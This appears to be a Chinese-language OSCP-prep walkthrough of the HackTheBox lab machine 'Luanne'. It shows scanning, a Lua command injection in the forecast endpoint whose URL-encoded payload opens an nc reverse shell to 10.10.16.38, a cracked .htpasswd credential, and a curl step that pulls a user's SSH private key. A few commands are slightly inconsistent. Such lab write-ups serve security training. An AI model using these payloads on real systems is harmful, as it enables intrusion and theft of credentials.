OSCP备考_0x33_HackThBox靶机_luanne
nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.167.171 (扫描TCP)
nmap -sU --top-ports 100 10.129.167.171 (扫描UDP)
发现访问都需要账号密码,查看到weather目录可以尝试爆破看看
gobuster dir -u http://10.129.167.171/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,html
然后我们会发现一个forecast的目录
这篇文章给了一个例子
https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/
然后进行注入
http://10.129.167.171/weather/forecast?city=London%27);os.execute(%27whoami%27)+--
http://10.129.167.171/weather/forecast?city=London%27)%20os.execute(%27rm+%2ftmp%2ffa%3bmkfifo+%2ftmp%2ffa%3bcat+%2ftmp%2ffa|%2fbin%2fsh+-i+2%3E%261|nc+10.10.16.38+3333+%3E%2ftmp%2ffa%3b%27)--
底下有个.htpasswd查看出有密钥
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
iamthebest
使用webapi_user/iamthebest可以登录80端口的web服务,如图:
没啥线索,9001是无法登入的
在信息搜集脚本内发现
直接使用目前的SHELL做提权搜索
然后运行
发现
curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
用户r.michaels的Shell
搜索发现bozohttpd组件存在CVE-2015-8212,CVE-2014-5015,CVE-2010-2320,但是都没有漏洞利用脚本。文章:https://www.anquanke.com/vul/id/1178769描述可以借助以"/~"序列开头的多个URIs请求获取主目录列表内容,但不知道怎么用。在论坛https://raidforums.com/Thread-Tutorial-Luanne-Tutorial-Discussion?page=2发现自己忽略了日志中的3001端口相关信息,成功被作者忽悠,如图:
curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest
ls -l /home/r.michaels/.gnupg/
我注意到 .gnupgr.michael 主目录中的目录,它包含密钥环:
在gpg密钥的目录下
netpgp --decrypt --output=/tmp/rong.tar.gz backups/devel_backup-2020-09-16.tar.gz.enc
cd /tmp
gunzip rong.zip
tar zxvf rong.tar